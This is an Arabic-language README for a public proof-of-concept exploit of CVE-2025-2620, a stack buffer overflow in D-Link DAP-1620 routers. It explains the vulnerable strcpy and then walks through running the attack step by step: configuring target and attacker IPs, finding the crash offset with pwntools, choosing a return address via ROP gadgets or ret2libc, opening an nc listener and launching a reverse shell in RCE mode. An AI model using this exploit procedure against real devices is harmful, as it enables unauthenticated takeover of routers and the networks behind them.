
استغلال إثبات المفهوم لـ CVE-2025-2620، تجاوز سعة المخزن المؤقت القائم على المكدس في أجهزة التوجيه D-Link DAP-1620 يتيح تنفيذ التعليمات البرمجية عن بُعد غير المصادق عليه والوصول إلى قشرة عكسية.
يحتوي هذا المستودع على استغلال متقدم (PoC) لثغرة CVE-2025-2620، وهي ثغرة حرجة من نوع تجاوز سعة المخزن المؤقت القائم على المكدس تم اكتشافها في جهاز التوجيه D-Link DAP-1620 الذي يعمل بإصدار البرنامج الثابت 1.03. تسمح هذه الثغرة للمهاجمين عن بُعد بدون مصادقة بتعطيل خادم الويب الخاص بالموجه (رفض الخدمة، DoS) وربما تنفيذ كود تعسفي (تنفيذ كود عن بُعد، RCE).
الغرض من هذا المشروع هو إظهار مهارات تطوير الاستغلال.
تؤثر CVE-2025-2620 على وظيفة mod_graph_auth_uri_handler في جهاز التوجيه D-Link DAP-1620، وتحديدًا داخل نقطة النهاية /storage. سبب الثغرة هو عدم كفاية فحص الحدود، مما يسمح للمهاجم بإرسال إدخال كبير يتجاوز حجم المخزن المؤقت المخصص، مما يؤدي إلى تجاوز سعة المخزن المؤقت القائم على المكدس.
تقوم الدالة المعرضة للخطر بمعالجة معلمة مصادقة (auth) من طلبات HTTP:
void mod_graph_auth_uri_handler(char *input) {
char buffer[512]; // Fixed-size stack buffer
strcpy(buffer, input); // No length check, causes overflow
// Process authentication...
}
عندما يرسل المهاجم حمولة ضخمة (مثل 1024+ بايت)، فإنه يكتب فوق الذاكرة المجاورة، بما في ذلك عنوان إرجاع الدالة، مما قد يؤدي إلى تنفيذ كود.
جهاز D-Link DAP-1620 هو موسّع نطاق Wi-Fi بالمواصفات التالية:
أجهزة D-Link الأخرى من أجهزة التوجيه/الموسّعات ذات البرامج الثابتة المماثلة قد تتأثر أيضًا.
PoC مدمج – يتضمن اختبار تجاوز المخزن المؤقت واستغلال RCE معًا.
اختبار تجاوز سعة المخزن المؤقت القائم على المكدس – يحدد أجهزة التوجيه المعرضة للخطر.
استغلال كامل لتنفيذ كود عن بُعد (RCE) – يفتح شل عكسي.
حجم حمولة وعنوان إرجاع قابلان للتكوين – قابلان للتكيف مع نماذج مختلفة من أجهزة التوجيه.
تصحيح محسّن – يسجل إزاحات الانهيار لتحسين معاملات الاستغلال.
git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc
تأكد من تثبيت Python3 و pwntools:
pip install pwntools
عدّل ملف CVE-2025-2620_poc.py:
TARGET_IP = "192.168.0.1" # change to match your router
ATTACKER_IP = "192.168.0.100" # change to your local IP
ATTACKER_PORT = 4444 # change if needed
BUFFER_SIZE = 8000 # Increase if the router does not crash
عدّل الاستغلال لتوليد نمط فريد وإرساله:
MODE = "overflow" # Set to "overflow" to find the offset
شغّل السكربت:
python3 CVE-2025-2620_poc.py
بعد تعطيل الموجه، تحقق من عنوان خطأ التجزئة (EIP على x86 أو RA على MIPS) من:
gdb)dmesg | grep 'segfault'ابحث عن عنوان مثل 0x61616161 (مما يعني أن جزءًا من النمط الدوري كتب فوق مؤشر الإرجاع).
استخدم cyclic_find لتحديد الإزاحة الدقيقة:
from pwn import cyclic_find
print(cyclic_find(0x61616161)) # Replace with the crash address
يعطيك هذا قيمة OFFSET الدقيقة. حدّث الاستغلال:
OFFSET = <FOUND OFFSET> # Replace with the actual number
RET_ADDR)الخيار 1: ابحث عن أداة JMP أو CALL
ROPgadget --binary vulnerable_binary | grep "jmp"
اختر عنوانًا يقفز إلى سجل (مثل jmp $sp أو jmp $ra).
الخيار 2: استخدم عنوان ret2libc
ابحث عن عنوان system() في libc:
objdump -D /lib/libc.so.6 | grep "system"
ثم استخدمه كـ RET_ADDR:
RET_ADDR = struct.pack("<I", 0xdeadbeef) # Replace with actual address
nc -lvnp 4444
python3 CVE-2025-2620_poc.py --mode rce
تم التطوير بـ ❤️ بواسطة Otsmane Ahmed
| المقياس | القيمة |
|---|
| متجه الهجوم | الشبكة |
| تعقيد الهجوم | منخفض |
| الامتيازات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| تأثير السرية | مرتفع |
| تأثير التكامل | مرتفع |
| تأثير التوافر | مرتفع |